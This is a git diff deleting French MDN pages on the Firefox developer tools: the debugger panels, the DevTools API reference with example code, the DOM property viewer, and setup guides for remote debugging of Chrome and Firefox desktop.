Chaque ligne représente un niveau de la pile, avec la couche actuelle au-dessus. Chaque ligne contient le nom de la fonction ou elle est exécutée ainsi qu'un lien vers le fichier source au bon numéro de ligne.

- -

Panneau des sources

- -

- -

Ce panneau affiche le fichier source JavaScript actuellement chargé. Les lignes ayant un point d'arrêt ont un cercle bleu à côté du numéro de ligne. Lorsqu'un point d'arrêt est atteint, une flèche verte apparaît sur le cercle :

- -

- -

Dans le panneau des sources, le menu contextuel (clic droit) permet :

- -
    -
  • D'ajouter un point d'arrêt.
    • -
  • D'ajouter un point d'arrêt conditionnel
    • -
  • D'ajouter une expression-espionne de la sélection
    • -
  • De rechercher ou filtrer en utilisant le filtre de scripts
    • -
- - - -

Survoler une variable dans le panneau des sources fait apparaître une popup affichant la valeur actuelle de la variable :

- -

- -

Cela permet de savoir rapidement la valeur d'une variable sans avoir à ouvrir le panneau des variables.

- -

Panneau des variables

- -

Le panneau des variables permet d’examiner et de modifier les variables du script lors de son exécution :

- -

- -

Ce panneau partage sa portion d'écran avec le panneau des événements. Pour passer de l'un à l'autre, il faut utiliser les onglets situés en haut du panneau.

- -

Panneau des événements

- -

Ce panneau liste tous les événements DOM qui sont écoutés dans le code.

- -

- -

Ce panneau partage sa portion d'écran avec le panneau des variables Pour passer de l'un à l'autre, il faut utiliser les onglets situés en haut du panneau.

- -

Ce panneau regroupe les événements par type, la capture d'écran ci-dessus montre quatre types : Interaction, clavier, souris, et navigation. Les événements qui ont un écouteur sont listés sous leur type avec la syntaxe suivante :

- -
[nom de l’événement] sur [cible de l’événement] dans [fichier source]
- -

Cliquer sur la case à cocher à côté de l’événement aura pour conséquence de faire s’arrêter l’exécution à la première ligne de l'écouteur de l’événement. Cliquer sur la case à cocher à côté d'un type d’événement aura pour conséquence de faire s’arrêter l’exécution dans tous les écouteurs des événements listés sous ce type.

diff --git a/files/fr/outils/devtoolsapi/index.html b/files/fr/outils/devtoolsapi/index.html deleted file mode 100644 index 0fba8241f1..0000000000 --- a/files/fr/outils/devtoolsapi/index.html +++ /dev/null @@ -1,835 +0,0 @@ ---- -title: DevTools API -slug: Outils/DevToolsAPI -translation_of: Tools/DevToolsAPI ---- -

{{ToolsSidebar}}{{Obsolete_Header}}

- -
-

Warning:("L'API des outils de développement est en cours de développement. Si vous rencontrez des incohérences, merci de les signaler à l'équipe des outils de développement de Firefox.")

-
- -

Bien que cette api soit toujours en développement, il existe des parties de l'Inspecteur et du Debogueur qui sont d’ores et déjà utilisable.

- - - -

Introduction

- -

L'API des outils de développements fournit une manière d'enregistrer et d'accéder aux outils de développement dans Firefox.

- -

En terme d'interface utilisateur, chaque outil enregistré existe dans son propre onglet (Appelé également panneau). Ces onglets sont situés dans une boîte appelée Boite à outils. Une boîte à outils peut être hébergée dans un navigateur (en bas ou sur le coté) ou peut être dans propre fenêtre (la boîte à outils est alors dite détachée). Une boîte à outils (et tous les outils qu'elle contient) est reliée à une Cible qui est l'objet que les outils sont en train de déboguer. Une cible le plus souvent une page web (un onglet), mais peut être autre chose, comme une fenêtre chrome un onglet distant.

- -

En terme de code, chaque outil doit fournir un objet ToolDefinition. Une définition est un objet JS léger qui fournit différentes informations sur l'outil (par exemple son nom et son icône), ainsi qu'une méthode build qui sera utilisée plus tard pour lancer une instance de cet outil. L'objet global gDevTools fournit des méthodes pour enregistrer une définition d'outil et pour accéder aux instances d'outils. Une instance d'outil est appelée un ToolPanel. Le ToolPanel est construit seulement lorsque l'outil est sélectionné (non pas quand la boîte à outils est ouverte). Il n'y a aucun mayen de "fermer/détruire" un ToolPannel. La façon de fermer un ToolPanel est de fermer la boîte à outils qui le contient. Tous les objets sus-mentionnés implémentent l'interface EventEmitter.

- -

API

- -

gDevTools

- -

The gDevTools API can be used to register new tools, themes and handle toolboxes for different tabs and windows. To use the gDevTools API from an add-on, it can be imported with following snippet

- -
const { gDevTools } = require("resource:///modules/devtools/gDevTools.jsm");
- -

Methods

- -
-
-
registerTool(toolDefinition)
-
-
Registers a new tool and adds a tab to each existing toolbox.
-
Parameters:
- toolDefinition {ToolDefinition} - An object that contains information about the tool. See {{anch("ToolDefinition")}} for details.
-
-
unregisterTool(tool)
-
-
Unregisters the given tool and removes it from all toolboxes.
-
Parameters:
- tool {ToolDefinition|String} - The tool definition object or the id of the tool to unregister.
-
-
registerTheme(themeDefinition)
-
-
Registers a new theme.
-
Parameters:
- themeDefinition {ThemeDefinition} - An object that contains information about the theme.
-
-
unregisterTheme(theme)
-
-
Unregisters the given theme.
-
- Parameters:
- theme {ThemeDefinition|String} - The theme definition object or the theme identifier.
-
-
showToolbox(target [, toolId [, hostType [, hostOptions]]])
-
-
Opens a toolbox for given target either by creating a new one or activating an existing one.
-
Parameters:
- target {Target} - The target the toolbox will debug.
- toolId {String} - The tool that should be activated. If unspecified the previously active tool is shown.
- hostType {String} - The position the toolbox will be placed. One of bottom, side, window, custom. See {{anch("HostType")}} for details.
- hostOptions {Object} - An options object passed to the selected host. See {{anch("HostType")}} for details.
-
Return value:
- A {{domxref("Promise")}} that is fulfilled with the {{anch("Toolbox")}} instance once it has been initialized and the selected tool is loaded.
-
-
getToolbox(target)
-
-
Fetch the {{anch("Toolbox")}} object for the given target.
-
- Parameters:
- target {Target} - The target the toolbox is debugging.
-
- Return value:
- {{anch("Toolbox")}} object or undefined if there's no toolbox for the given target..
-
-
closeToolbox(target)
-
-
Closes the toolbox for given target.
-
Parameters:
- target {Target} - The target of the toolbox that should be closed.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled once the toolbox has been destroyed.
-
-
getDefaultTools()
-
-
Returns an {{jsxref("Array")}} of {{anch("ToolDefinition")}} objects for the built-in tools.
-
-
getAdditionalTools()
-
-
Returns an {{jsxref("Array")}} of {{anch("ToolDefinition")}} objects for tools added by addons.
-
-
getToolDefinition(toolId)
-
-
Fetch the {{anch("ToolDefinition")}} object for a tool if it exists and is enabled.
-
- Parameters:
- toolId {String} - The ID of the tool.
-
Return value:
- A {{anch("ToolDefinition")}} if a tool with the given ID exists and is enabled, null otherwise.
-
-
getToolDefinitionMap()
-
-
Returns a toolId → {{anch("ToolDefinition")}} map for tools that are enabled.
-
-
getToolDefinitionArray()
-
-
Returns an {{jsxref("Array")}} of {{anch("ToolDefinition")}} objects for enabled tools sorted by the order they appear in the toolbox.
-
-
getThemeDefinition(themeId)
-
-
Fetch the ThemeDefinition object for the theme with the given id.
-
- Parameters:
- themeId {String} - The ID of the theme.
-
Return value:
- A ThemeDefinition object if the theme exists, null otherwise.
-
-
getThemeDefinitionMap()
-
-
Returns a toolId → ThemeDefinition map for available themes.
-
-
getThemeDefinitionArray()
-
-
Returns an {{jsxref("Array")}} of ThemeDefinition objects for avialble themes.
-
- -

Events

- -

Following events are emitted by the gDevTools object via the {{anch("EventEmitter")}} interface.

- -
-
-
tool-registered(toolId)
-
-
A new tool has been registered.
-
-
tool-unregistered(tool)
-
-
A tool has been unregistered. The parameter is a {{anch("ToolDefinition")}} object.
-
-
theme-registered(themeId)
-
-
A new theme has been registered.
-
-
theme-unregistered(theme)
-
-
A theme has been unregistered. The parameter is a ThemeDefinition object.
-
-
toolbox-ready(toolbox)
-
-
A new toolbox has been created and is ready to use. The parameter is a {{anch("Toolbox")}} object instance.
-
-
toolbox-destroy(target)
-
-
The toolbox for the specified target is about to be destroyed.
-
-
toolbox-destoyed(target)
-
-
The toolbox for the specified target has been destroyed.
-
-
{toolId}-init(toolbox, iframe)
-
-
A tool with the given ID has began to load in the given toolbox to the given frame.
-
-
{toolId}-build(toolbox, panel)
-
-
A tool with the given ID has began to initialize in the given toolbox. The panel is the object returned by the ToolDefinition.build() method.
-
-
{toolId}-ready(toolbox, panel)
-
-
A tool with the given ID has finished its initialization and is ready to be used. The panel is the object returned by the ToolDefinition.build() method.
-
-
{toolId}-destroy(toolbox, panel)
-
-
A tool with the given ID is about to be destroyed. The panel is the object returned by the ToolDefinition.build() method.
-
- -

Toolbox

- -

A Toolbox is a frame for the {{anch("ToolPanel", "ToolPanels")}} that is debugging a specific target.

- -

Properties

- -
-
-
target
-
-
Target. The Target this toolbox is debugging.
-
-
hostType
-
-
Toolbox.HostType. The type of the host this Toolbox is docked to. The value is one of the Toolbox.HostType constants.
-
-
zoomValue
-
-
The current zoom level of the Toolbox.
-
- -

Constants

- -

The Toolbox constructor contains following constant properties.

- -
-
-
Toolbox.HostType.BOTTOM
-
-
Host type for the default toolbox host at the bottom of the browser window.
-
-
Toolbox.HostType.SIDE
-
-
Host type for the host at the side of the browser window.
-
-
Toolbox.HostType.WINDOW
-
-
Host type for the separate Toolbox window.
-
-
Toolbox.HostType.CUSTOM
-
-
Host type for a custom frame host.
-
- -

Methods

- -
-
-
getCurrentPanel()
-
-
Get the currently active {{anch("ToolPanel")}}.
-
- Return value:
- The {{anch("ToolPanel")}} object that was returned from {{anch("build(window_toolbox)", "ToolPanel.build()")}}.
-
-
getPanel(toolId)
-
-
Get the {{anch("ToolPanel")}} for given tool.
-
- Parameters:
- toolId {String} - The tool identifier.
-
- Return value:
- The {{anch("ToolPanel")}} object if the tool with the given toolId is active, otherwise undefined.
-
-
getPanelWhenReady(toolId)
-
-
Similar to getPanel() but waits for the tool to load first. If the tool is not already loaded or currently loading the returned {{domxref("Promise")}} won't be fulfilled until something triggers the tool to load.
-
- Parameters:
- toolId {String} - The tool identifier.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object once the tool has finished loading.
-
-
getToolPanels()
-
-
Returns a toolId → {{anch("ToolPanel")}} {{jsxref("Map")}} for currently loaded tools.
-
-
getNotificationBox()
-
-
Returns a {{ XULElem("notificationbox") }} element for the Toolbox that can be used to display notifications to the user.
-
-
loadTool(toolId)
-
-
Loads the tool with the given toolId in the background but does not activate it.
-
- Parameters:
- toolId {String} - The tool identifier.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the loaded panel once the tool has loaded.
-  
-
-
selectTool(toolId)
-
-
Selects the tool with the given toolId.
-
- Parameters:
- toolId {String} - The tool identifier.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the selected panel once the tool has loaded and activated.
-
-
selectNextTool()
-
-
Selects the next tool in the Toolbox.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the selected panel.
-
-
selectPreviousTool()
-
-
Selects the previous tool in the Toolbox.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object of the selected panel.
-
-
highlightTool(toolId)
-
-
Highlights the tab for the given tool.
-
- Parameters:
- toolId {String} - The tool to highlight.
-
-
unhighlightTool(toolId)
-
-
Unhighlights the tab for the given tool.
-
- Parameters:
- toolId {String} - The tool to unhighlight.
-
-
openSplitConsole()
-
-
Opens the split Console to the bottom of the toolbox.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled once the Console has loaded.
-
-
closeSplitConsole()
-
-
Closes the split console.
-
-
toggleSplitConsole()
-
-
Toggles the state of the split console.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled once the operation has finished.
-
-
switchHost(hostType)
-
-
Switches the location of the toolbox
-
- Parameters:
- hostType {Toolbox.HostType} - The type of the new host.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled once the new host is ready.
-  
-
-
reloadTarget(force)
-
-
Reloads the current target of the toolbox.
-
- Parameters:
- force {Boolean} - If true the target is shift-reloaded i.e. the cache is bypassed during the reload.
-
-
zoomIn()
-
-
Increases the zoom level of the Toolbox document.
-
-
zoomOut()
-
-
Decreases the zoom level of the Toolbox document.
-
-
zoomReset()
-
-
Resets the zoom level of the Toolbox document.
-
-
setZoom(value)
-
-
Set the zoom level to an arbitrary value.
-
- Parameters:
- value {Number} - The zoom level such as 1.2.
-
-
destroy()
-
-
Closes the toolbox.
-
- Return value:
- A {{domxref("Promise")}} that is resolved once the Toolbox is destroyed.
-
- -

Events

- -

The Toolbox object emits following events via the {{anch("EventEmitter")}} interface.

- -
-
-
host-changed
-
-
The Host for this Toolbox has changed.
-
-
ready
-
-
The Toolbox is ready to use.
-
-
select(toolId)
-
-
A tool has been selected. This event is emitted before the corresponding {toolId}-selected event.
-
-
{toolId}-init(frame)
-
-
A tool is about to be loaded. The frame is the {{HTMLElement("iframe")}} element that has been created for the tool.
-
-
{toolId}-build(panel)
-
-
The frame for a tool has loaded and the {{anch("build(window_toolbox)", "ToolPanel.build()")}} method has been called but the asynchronous initialization has not started. The parameter is a {{anch("ToolPanel")}} object.
-
-
{toolId}-ready(panel)
-
-
The asynchronous initialization for a tool has completed and it is ready to be used. The parameter is a {{anch("ToolPanel")}} object.
-
-
{toolId}-selected(panel)
-
-
A tool has been selected. The parameter is a {{anch("ToolPanel")}} object.
-
-
{toolId}-destroy(panel)
-
-
A tool is about to be destroyed. The parameter is a {{anch("ToolPanel")}} object.
-
-
destroy
-
-
The Toolbox is about to be destroyed.
-
-
destroyed
-
-
The Toolbox has been destroyed.
-
- -

ToolDefinition

- -

A ToolDefinition object contains all the required information for a tool to be shown in the toolbox.

- -

Methods

- -
-
-
isTargetSupported(target)
-
-
A method that is called during toolbox construction to check if the tool supports debugging the given target.
-
- Parameters:
- target {Target} - The target to check.
-
- Return value:
- A boolean indicating if the tool supports the given target.
-
-
build(window, toolbox)
-
-
A method that builds the {{anch("ToolPanel")}} for this tool.
-
- Parameters:
- window {Window} - The {{domxref("Window")}} object for frame the tool is being built into.
- toolbox {Toolbox} - The {{anch("Toolbox")}} the tool is being built for.
-
- Return value:
- A {{anch("ToolPanel")}} for the tool.
-
-
onKey(panel, toolbox)
-
-
Optional. A method that is called when the keyboard shortcut for the tool is activated while the tool is the active tool.
-
- Parameters:
- panel {ToolPanel} - The {{anch("ToolPanel")}} for the tool.
- toolbox {Toolbox} - The toolbox for the shortcut was triggered for.
-
- Return value:
- Undefined.
-
- -

Properties

- -

The ToolDefinition object can contain following properties. Most of them are optional and can be used to customize the presense of the tool in the Browser and the Toolbox.

- -
-
-
id
-
-
String, required. An unique identifier for the tool. It must be a valid id for an HTML {{domxref("Element")}}.
-
-
url
-
-
String, required. An URL of the panel document.
-
-
label
-
-
String, optional. The tool's name. If undefined the icon should be specified.
-
-
tooltip
-
-
String, optional. The tooltip for the tool's tab.
-
-
panelLabel
-
-
String, optional. An accessibility label for the panel.
-
-
ordinal
-
-
Integer, optional. The position of the tool's tab within the toolbox. Default: 99
-
-
visibilityswitch
-
-
String, optional. A preference name that controls the visiblity of the tool. Default: devtools.{id}.enabled
-
-
icon
-
-
String, optional. An URL for the icon to show in the toolbox tab. If undefined the label should be defined.
-
-
highlightedicon
-
-
String, optional. An URL for an icon that is to be used when the tool is highlighted (see e.g. paused, inactive debugger). Default: {icon}
-
-
iconOnly
-
-
Boolean, optional. If true, the label won't be shown in the tool's tab. Default: false
-
-
invertIconForLightTheme
-
-
Boolean, optional. If true the colors of the icon will be inverted for the light theme. Default: false
-
-
key
-
-
String, optional. The key used for keyboard shortcut. Either {{XULAttr("key")}} or {{XULAttr("keycode")}} value.
-
-
modifiers
-
-
String, optional. {{XULAttr("modifiers", "Modifiers")}} for the keyboard shortcut.
-
-
preventClosingOnKey
-
-
Boolean, optional. If true the tool won't close if its keybinding is pressed while it is active. Default: false
-
-
inMenu
-
-
Boolean, optional. If true the tool will be shown in the Developer Menu. Default: false
-
- -
-
String, optional. A label for the Developer Menu item. Default: {label}
-
-
accesskey
-
-
String, optional. {{XULAttr("accesskey")}} for the Developer Menu {{XULElem("menuitem")}}.
-
- -

Example

- -

Here's a minimal definition for a tool.

- -
let def = {
-  id: "my-tool",
-  label: "My Tool",
-  icon: "chrome://browser/skin/devtools/tool-webconsole.svg",
-  url: "about:blank",
-  isTargetSupported: target => true,
-  build: (window, toolbox) => new MyToolPanel(window, toolbox)
-};
-
-// Register it.
-gDevTools.registerTool(def);
-
- -

TargetType

- -

FIXME:

- -

HostType

- -

FIXME

- -

ToolPanel

- -

The ToolPanel is an interface the toolbox uses to manage the panel of a tool. The object that ToolDefinition.build() returns should implement the methods described below.

- -

Methods

- -
-
-
open()
-
-
Optional. A method that can be used to perform asynchronous initialization. If the method returns a {{domxref("Promise")}}, many operations (e.g. {{anch("showToolbox(target_toolId_hostType_hostOptions)", "gDevTools.showToolbox()")}} or toolbox.selectTool()) and events (e.g. {{anch("toolbox-ready(toolbox)", "toolbox-ready")}}) are delayed until the promise has been fulfilled.
-
- Return value:
- The method should return a {{domxref("Promise")}} that is resolved with the ToolPanel object once it's ready to be used.
-
-
destroy()
-
-
-

A method that is called when the toolbox is closed or the tool is unregistered. If the tool needs to perform asynchronous operations during destruction the method should return a {{domxref("Promise")}} that is resolved once the process is complete.

- -

Return value:
- A {{domxref("Promise")}} if the function performs asynchronous operations, otherwise undefined.

-
-
- -

Example

- -

Here's a basic template for a ToolPanel implementation.

- -
// In the ToolDefintion object, do
-//   build: (window, target) => new MyPanel(window, target),
-
-function MyPanel(window, target) {
-  // The window object that has loaded the URL defined in the ToolDefinition
-  this.window = window;
-  // The Target this toolbox is debugging.
-  this.target = target;
-
-  // Do synchronous initialization here.
-  window.document.body.addEventListener("click", this.handleClick);
-}
-
-MyPanel.prototype = {
-  open: function() {
-    // Any asynchronous operations should be done here.
-    return this.doSomethingAsynchronous()
-      .then(() => this);
-  },
-
-  destroy: function() {
-    // Synchronous destruction.
-    this.window.document.body.removeEventListener("click", this.handleClick);
-
-    // Async destruction.
-    return this.destroySomethingAsynchronosly()
-      .then(() => console.log("destroyed"));
-  },
-
-  handleClick: function(event) {
-    console.log("Clicked", event.originalTarget);
-  },
-};
-
- -

EventEmitter

- -

EventEmitter is an interface many Developer Tool classes and objects implement and use to notify others about changes in their internal state.

- -

When an event is emitted on the EventEmitter, the listeners will be called with the event name as the first argument and the extra arguments are spread as the remaining parameters.

- -
-

Note: Some components use Add-on SDK event module instead of the DevTools EventEmitter. Unfortunately, their API's are a bit different and it's not always evident which one a certain component is using. The main differences between the two modules are that the first parameter for Add-on SDK events is the first payload argument instead of the event name and the once method does not return a Promise. The work for unifying the event paradigms is ongoing in {{bug(952653)}}.

-
- -

Methods

- -

The following methods are available on objects that have been decorated with the EventEmitter interface.

- -
-
-
emit(eventName, ...extraArguments)
-
-
Emits an event with the given name to this object.
-
- Parameters:
- eventName {String} - The name of the event.
- extraArguments {...Any} - Extra arguments that are passed to the listeners.
-
-
on(eventName, listener)
-
-
Adds a listener for the given event.
-
-
off(eventName, listener)
-
-
Removes the previously added listener from the event.
-
-
once(eventName, listener)
-
-
Adds a listener for the event that is removed after it has been emitted once.
-
- Return value:
- A {{domxref("Promise")}} that is fulfilled with the first extra argument for the event when then event is emitted. If the event contains multiple payload arguments, the rest are discarded and can only be received by providing the listener function to this method.
-
- -

Examples

- -

Here's a few examples using the {{anch("gDevTools")}} object.

- -
let onInit = (eventName, toolbox, netmonitor) => console.log("Netmonitor initialized!");
-
-// Attach a listener.
-gDevTools.on("netmonitor-init", onInit);
-
-// Remove a listener.
-gDevTools.off("netmonitor-init", onInit);
-
-// Attach a one time listener.
-gDevTools.once("netmonitor-init", (eventName, toolbox, netmonitor) => {
-  console.log("Network Monitor initialized once!", toolbox, netmonitor);
-});
-
-// Use the Promise returned by the once method.
-gDevTools.once("netmonitor-init").then(toolbox => {
-  // Note that the second argument is not available here.
-  console.log("Network Monitor initialized to toolbox", toolbox);
-});
-
- -

ToolSidebar

- -

To build a sidebar in your tool, first, add a xul:tabbox where you want the sidebar to live:

- -
    <splitter class="devtools-side-splitter"/>
-    <tabbox id="mytool-sidebar" class="devtools-sidebar-tabs" hidden="true">
-      <tabs/>
-      <tabpanels flex="1"/>
-    </tabbox>
- -
- -
A sidebar is composed of tabs. Each tab will hold an iframe. For example, in the Inspector, there are 3 tabs (Computed View, Rule View, Layout View). The user can select the tab he wants to see.
- -
- -
If the availability of the tabs depends on some tool-related conditions, we might want to not let the user select a tab. This API provides methods to hide the tabstripe. For example, in the Web Console, there are 2 views (Network View and Object View). These views are only available in certain conditions controlled by the WebConsole code. So it's up the WebConsole the hide and show the sidebar, and select the correct tab.
- -
- -
If the loaded document exposes a window.setPanel(ToolPanel) function, the sidebar will call it once the document is loaded.
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MethodDescription
new ToolSidebar(xul:tabbox, ToolPanel, uid, showTabstripe=true)ToolSidebar constructor
void addTab(tabId, url, selected=false)Add a tab in the sidebar
void select(tabId)Select a tab
void hide()Hide the sidebar
void show()Show the sidebar
void toggle()Toggle the sidebar
void getWindowForTab(tabId)Get the iframe containing the tab content
tabId getCurrentTabID()Return the id of tabId of the current tab
tabbox getTab(tabId)Return a tab given its id
destroy()Destroy the ToolSidebar object
EventsDescription
new-tab-registeredA new tab has been added
{tabId}-readyTab is loaded and can be used
{tabId}-selectedTab has been selected and is visible
{tabId}-unselectedTab has been unselected and is not visible
showThe sidebar has been opened.
hideThe sidebar has been closed.
- -

Examples

- -

Register a tool

- -
gDevTools.registerTool({
-  // FIXME: missing key related properties.
-  id: "inspector",
-  icon: "chrome://browser/skin/devtools/inspector-icon.png",
-  url: "chrome://browser/content/devtools/inspector/inspector.xul",
-  get label() {
-    let strings = Services.strings.createBundle("chrome://browser/locale/devtools/inspector.properties");
-    return strings.GetStringFromName("inspector.label");
-  },
-
-  isTargetSupported: function(target) {
-    return !target.isRemote;
-  },
-
-  build: function(iframeWindow, toolbox, node) {
-    return new InspectorPanel(iframeWindow, toolbox, node);
-  }
-});
- -

Open a tool, or select it if the toolbox is already open:

- -
let target = TargetFactory.forTab(gBrowser.selectedTab);
-let toolbox = gDevTools.openToolbox(target, null, "inspector");
-
-toolbox.once("inspector-ready", function(event, panel) {
-  let inspector = toolbox.getToolPanels().get("inspector");
-  inspector.selection.setNode(target, "browser-context-menu");
-});
- -

Add a sidebar to an existing tool:

- -
let sidebar = new ToolSidebar(xulTabbox, toolPanel, "toolId");
-sidebar.addTab("tab1", "chrome://browser/content/.../tab1.xhtml", true);
-sidebar.addTab("tab2", "chrome://browser/content/.../tab2.xhtml", false);
-sidebar.show();
diff --git a/files/fr/outils/dom_property_viewer/index.html b/files/fr/outils/dom_property_viewer/index.html deleted file mode 100644 index 8eda3a90aa..0000000000 --- a/files/fr/outils/dom_property_viewer/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Visionneur de propriétés DOM -slug: Outils/DOM_Property_Viewer -tags: - - DOM - - Tools - - Web Development -translation_of: Tools/DOM_Property_Viewer ---- -
{{ToolsSidebar}}
- -
Le visionneur de propriétés DOM est une des nouveautés de Firefox 48. Cet outil est désactivé par défaut. Pour l'utiliser, il faut l'activer dans les options des outils de développement.
- -

Le visionneur de propriétés DOM permet d'inspecter les propriétés {{Glossary("DOM")}} en tant qu'arbre extensible. Cet arbre commence à partir de l'objet {{domxref("window")}} de la page actuelle ou de l'iframe sélectionné.

- -

- -

Activer le visionneur de propriétés DOM

- -

Cet outil n'est pas activé par défaut. Pour l'activer, il faut ouvrir les options des outils de développement et cocher la case "DOM" dans la catégorie "Outils de développement par défaut".

- -

Ouvrir le visionneur de propriétés DOM

- -

Une fois l'outil activé, il est possible de l'ouvrir en sélectionnant l'onglet "DOM" depuis le menu développement du menu de Firefox (ou du menu Outils sous macOS).  Il est également possible d'utiliser le raccourci clavier Ctrl + Maj + W.

- -

La Boite à outils apparaitra en bas du navigateur avec le visionneur de propriétés DOM activé. L'onglet s'appelle juste "DOM".

- -

L'interface du visionneur de propriétés DOM

- -

Arbre DOM

- -

Les différentes propriétés du DOM sont affichées sous la forme d'un arbre extensible. La partie gauche affiche le nom des propriétés, tandis que la partie droite leur valeur. La valeur n'affiche au maximum que trois propriétés d'un objet ou trois propriétés d'un tableau. Si une propriété a plus de trois éléments, une annotation "...more" est ajoutée à la fin. Si une propriété n'est pas éditable, une icône de cadenas est ajoutée.

- -

Actualiser l'affichage

- -

Si le DOM change, il est possible d'appuyer sur le bouton "Actualiser" actualisera l'affichage :

- -

Button to update the DOM Inspector display

- -

Filtrage

- -

Il y a un barre de recherche dans la barre d'outils :

- -

- -

Cela filtre l'arbre pour n'afficher que les éléments qui correspondent à la recherche. Les éléments qui correspondent sont les éléments dont le nom est contenu dans la recherche. La correspondance est sensible à la case.

diff --git "a/files/fr/outils/d\303\251bogage_distant/chrome_desktop/index.html" "b/files/fr/outils/d\303\251bogage_distant/chrome_desktop/index.html" deleted file mode 100644 index 1e1580b614..0000000000 --- "a/files/fr/outils/d\303\251bogage_distant/chrome_desktop/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Déboguer Chrome Desktop à distance -slug: Outils/Débogage_distant/Chrome_Desktop -translation_of: Tools/Remote_Debugging/Chrome_Desktop ---- -
{{ToolsSidebar}}

Cet article explique comment connecter les outils de développement Firefox à Google Chrome si celui-ci est lancé sur l'ordinateur.

- -
-

Note : Ce support dépend du module complémentaire Valence qui effectue le lien entre le protocole de débogage utilisé par Firefox et celui utilisé par Chrome. Le support de Valence est toujours expérimental.

-
- -

Ce guide est organisé en deux parties : la première concerne les prérequis nécessaires, la seconde partie concerne la partie de connexion.

- -

Prérequis

- -

Pour connecter les outils de développement avec Google Chrome, vous aurez besoin de :

- - - -

Connexion

- -

{{EmbedYouTube("g5p9__OiaMY")}}

- -

Lancer Chrome

- -

Pour activer le débogage distant sur Chrome (pour ordinateur), vous aurez besoin de le lancer avec le flag suivant : --remote-debugging-port=9222. Pour plus d'informations, voir ce guide pour démarrer Chrome avec des options en ligne de commande.

- -

D'autres options peuvent s'avérer utiles. En lançant Chrome avec --no-first-run, --no-default-browser-check, et --user-data-dir, on peut lancer une instance de Chrome en parallèle d'une autre déjà lancée.

- -

Par exemple, sur OS X, on peut lancer la commande suivante pour démarrer une instance de Chrome qui soit débogable et qui puisse être séparée des autres instances éventuellement déjà lancées :

- -
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --no-first-run --no-default-browser-check --user-data-dir=$(mktemp -d -t 'chrome-remote_data_dir')
- -

Effectuer la connexion avec WebIDE

- -

Sous Firefox, ouvrez WebIDE. Dans WebIDE, cliquez sur « Sélectionner l'environnement » puis sélectionnez « Chrome Desktop » dans le menu déroulant.

- -

Ensuite, cliquez sur le menu « Ouvrir une application » de WebIDE. Cela affichera une liste des onglets ouverts sur l'instance. Cliquez sur un onglet pour y connecter les outils de développement. Vous pourrez ensuite utiliser la plupart des outils de développement Firefox. À l'heure actuelle, les outils suivants ne sont pas encore supportés :

- - diff --git "a/files/fr/outils/d\303\251bogage_distant/debugging_firefox_desktop/index.html" "b/files/fr/outils/d\303\251bogage_distant/debugging_firefox_desktop/index.html" deleted file mode 100644 index c6f18c479b..0000000000 --- "a/files/fr/outils/d\303\251bogage_distant/debugging_firefox_desktop/index.html" +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Déboguer Firefox Desktop -slug: Outils/Débogage_distant/Debugging_Firefox_Desktop -tags: - - Debugging - - Guide - - Tools -translation_of: Tools/Remote_Debugging/Debugging_Firefox_Desktop ---- -

{{draft}}

- -
{{ToolsSidebar}}
- -
- -

Ce guide explique comment utiliser des outils de développement de Firefox pour déboguer une instance différente de Firefox pour ordinateur tournant sur la même machine. Dans ce guide, l'instance de Firefox qui sera déboguée sera référencée sous l'appellation le débogué. tournant l’instance qui fait le débogage sera appelé le déboguant.

- -

Activer le débogage distant

- -

Tout d'abord, il est nécessaire de s'assurer que le déboguant et le débogué aient tous les deux les options "Activer le débogage du chrome du navigateur et des modules" et "Activer le débogage distant" d'activés dans les options des outils de développement. Si vous utilisez Firefox Developer Edition, les options devraient être activées par défaut.

- -

- -

Cette étape n'est nécessaire qu'une seule fois : les valeurs de ces options sont persistantes et resteront les mêmes jusqu'à ce que vous les changiez de nouveau.

- -

Lancer le serveur de débogage

- -

Ensuite, il faut lancer le serveur de débogage dans le débogué.

- -

Depuis Firefox 37 la méthode ci-dessus fonction toujours, mais il existe une alternative : lancez le débogué en ligne de commande avec l'option --start-debugger-server :

- -
/path/to/firefox --start-debugger-server
- -

Passée sans argument, --start-debugger-server lance l'écoute sur le port 6000. Pour utiliser un port différent, il faut passer le port désiré :

- -
/path/to/firefox --start-debugger-server 1234
- -

Note: Sous Windows, l'appel start-debugger-server n'a qu'un seul tiret :

- -
firefox.exe -start-debugger-server 1234
- -
-

Note: Par défaut, et pour des raisons de sécurité, l'option devtools.debugger.force-local est activé. Si vous voulez déboguer une instance de Firefox sur une machine externe, il est possible de changer cette option, mais il est extrêmement recommandé de faire cela que sur un réseau de confiance ou d'avoir au préalable instauré une règle de pare-feu forte pour déterminer quelle machine peut y accéder.

-
diff --git "a/files/fr/outils/d\303\251bogage_distant/debugging_firefox_for_android_with_webide_clone/index.html" "b/files/fr/outils/d\303\251bogage_distant/debugging_firefox_for_android_with_webide_clone/index.html" deleted file mode 100644 index 1c09d2f521..0000000000 --- "a/files/fr/outils/d\303\251bogage_distant/debugging_firefox_for_android_with_webide_clone/index.html" +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Déboguer Firefox pour Android avec WebIDE -slug: Outils/Débogage_distant/Debugging_Firefox_for_Android_with_WebIDE_clone -tags: - - Debugging - - Guide - - Tools -translation_of: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone ---- -
{{ToolsSidebar}}

Cet article décrit comment connecter les Outils de développement de Firefox de Firefox pour Android à partir de Firefox 36.

- -

